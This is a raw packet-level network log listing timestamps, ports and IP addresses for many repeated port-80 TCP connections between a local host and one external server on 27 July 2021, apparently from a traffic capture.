Jul 27, 2021 22:08:08.831238031 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.125595093 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.125914097 CEST	49822	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.126097918 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.126264095 CEST	49822	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.153783083 CEST	80	49822	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.413397074 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.441649914 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.443820953 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.447356939 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.476439953 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.476670980 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.503550053 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.747018099 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.747046947 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:09.751593113 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.751621962 CEST	49824	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:09.777960062 CEST	80	49824	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.420368910 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.449425936 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.451472998 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.454438925 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.482146978 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.482254982 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.511050940 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.726717949 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.726866961 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.727227926 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.727252960 CEST	49825	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:10.755826950 CEST	80	49825	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:10.981631041 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.007693052 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.007903099 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.011486053 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.037269115 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.037436008 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.063081980 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.286854029 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.286880016 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.287782907 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.287806988 CEST	49826	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.316900969 CEST	80	49826	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.652369976 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.682434082 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.683943987 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.688473940 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.718297005 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:11.718441010 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:11.748079062 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.002752066 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.002952099 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.003628016 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.003848076 CEST	49827	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.030771017 CEST	80	49827	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.223220110 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.248944044 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.249211073 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.259210110 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.284754038 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.285024881 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.310642958 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.548115969 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.548449039 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.548605919 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.548760891 CEST	49828	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.573992014 CEST	80	49828	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.770498037 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.798437119 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.798669100 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.801676989 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.829478979 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:12.829612970 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:12.857137918 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.077017069 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.077200890 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.077685118 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.077795982 CEST	49829	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.108253956 CEST	80	49829	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.305913925 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.331443071 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.331573009 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.334928989 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.360476971 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.360713959 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.386800051 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.618849039 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.619185925 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.620379925 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.620781898 CEST	49830	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.651031017 CEST	80	49830	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.950103045 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.977616072 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:13.977726936 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:13.981255054 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.009531021 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.013279915 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.041536093 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.260425091 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.260551929 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.260668993 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.263395071 CEST	49831	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.292258024 CEST	80	49831	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.538398981 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.564105034 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.564254999 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.567964077 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.593566895 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:14.593688965 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.833781958 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:14.860352039 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:15.093683004 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:15.093961000 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:15.094168901 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:15.094300985 CEST	49832	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:15.120290995 CEST	80	49832	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.456248999 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.483937025 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.484143972 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.487615108 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.515322924 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.526547909 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.554069996 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.779263020 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.779881001 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:16.780219078 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.780308008 CEST	49833	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:16.807872057 CEST	80	49833	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.484175920 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.511805058 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.512233973 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.515836000 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.544663906 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.545011044 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.572700024 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.835906982 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.835923910 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:18.839950085 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.840043068 CEST	49834	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:18.866297007 CEST	80	49834	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.107439041 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.135370016 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.135483027 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.139353037 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.167284012 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.167495012 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.195077896 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.412635088 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.412832022 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.412878036 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.412935972 CEST	49835	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.440325975 CEST	80	49835	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.645235062 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.673728943 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.673902035 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.677778959 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.708251953 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.708358049 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.733856916 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.988333941 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.988643885 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:19.988810062 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:19.988899946 CEST	49836	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.019428015 CEST	80	49836	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.210747957 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.238398075 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.238550901 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.244425058 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.274663925 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.274904966 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.303253889 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.536278963 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.537143946 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.538769960 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.539020061 CEST	49837	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.569164991 CEST	80	49837	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.785254955 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.813391924 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.813647032 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.817681074 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.843075037 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:20.843219995 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:20.869745970 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.102952957 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.102976084 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.103542089 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.103895903 CEST	49838	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.133033991 CEST	80	49838	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.319854975 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.351264000 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.352440119 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.356276989 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.385593891 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.385663033 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.414725065 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.647459984 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.647507906 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.647659063 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.647753954 CEST	49839	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.676197052 CEST	80	49839	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.917963982 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.947041988 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.947206974 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.950442076 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:21.978143930 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:21.978293896 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.007383108 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.238873005 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.238902092 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.238977909 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.239015102 CEST	49840	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.267328024 CEST	80	49840	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.465182066 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.492916107 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.493204117 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.496306896 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.524262905 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.524420977 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.552803993 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.813602924 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.813795090 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.813878059 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:22.813996077 CEST	49841	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:22.843240023 CEST	80	49841	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.039207935 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.067488909 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.067687035 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.070749998 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.099984884 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.100213051 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.129149914 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.353401899 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.353435993 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.353662014 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.354011059 CEST	49842	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.383743048 CEST	80	49842	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.585011005 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.613511086 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.613661051 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.617376089 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.643338919 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.643460035 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.669914961 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.901638031 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.901660919 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:23.901814938 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.901945114 CEST	49843	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:23.930939913 CEST	80	49843	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.122208118 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.151253939 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.151357889 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.154417038 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.182673931 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.182837009 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.211237907 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.466948986 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.466973066 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.467225075 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.467504025 CEST	49844	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.497325897 CEST	80	49844	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.719868898 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.747219086 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.747482061 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.751823902 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.781732082 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:24.781922102 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:24.809740067 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.101829052 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.101852894 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.101995945 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.102041006 CEST	49845	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.127720118 CEST	80	49845	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.321218014 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.348820925 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.349025965 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.352816105 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.380547047 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.380657911 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.410634995 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.658564091 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.658716917 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.658770084 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.658786058 CEST	49846	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.688096046 CEST	80	49846	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.888459921 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.914704084 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.914851904 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.917752981 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.944097996 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:25.944315910 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:25.970175982 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.210163116 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.210375071 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.210483074 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.210500956 CEST	49847	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.239061117 CEST	80	49847	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.451550961 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.480674028 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.481426954 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.484885931 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.515275955 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.515446901 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.545943975 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.760999918 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.761025906 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:26.761241913 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.761282921 CEST	49848	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:26.789036989 CEST	80	49848	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.020766973 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.046593904 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.046833038 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.052258968 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.078196049 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.078303099 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.107471943 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.452069998 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.452301025 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.452421904 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.452497959 CEST	49849	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.479624033 CEST	80	49849	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.692270994 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.721514940 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.721838951 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.727507114 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.755261898 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:27.755502939 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:27.784132957 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.026746035 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.026889086 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.027005911 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.027105093 CEST	49850	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.057837009 CEST	80	49850	172.67.155.45	192.168.2.6
Jul 27, 2021 22:08:28.279177904 CEST	49851	80	192.168.2.6	172.67.155.45
Jul 27, 2021 22:08:28.305393934 CEST	80	49851	172.67.155.45	192.168.2.6
